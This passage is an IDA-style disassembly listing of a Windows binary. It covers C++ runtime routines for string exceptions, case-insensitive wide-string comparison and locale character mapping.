		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		nop
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		jmp	near ptr 27F0000h
sub_422A4C	endp

; ---------------------------------------------------------------------------
		db 25h

; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h


loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h


loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------


loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2


loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi


loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------


loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2860000h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_48A0A8, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_48A0A8
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_48A304, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_48A304, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------


loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43C824
		push	edi
		push	esi
		call	near ptr 2870000h
		nop
		test	eax, eax
		jz	loc_422E6D
		mov	dword_48A304, 2


loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_48A304
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27B0000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2870000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi


loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------


loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------


loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D


loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------


loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax


loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0


loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91


loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_4395A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5


loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]


loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A308
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------


loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	edi
		call	near ptr 25E0000h
		nop
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax


loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_48A308, eax


loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------


loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax


loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27B0000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_48A0A8


loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25E0000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax


loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------


loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h


loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
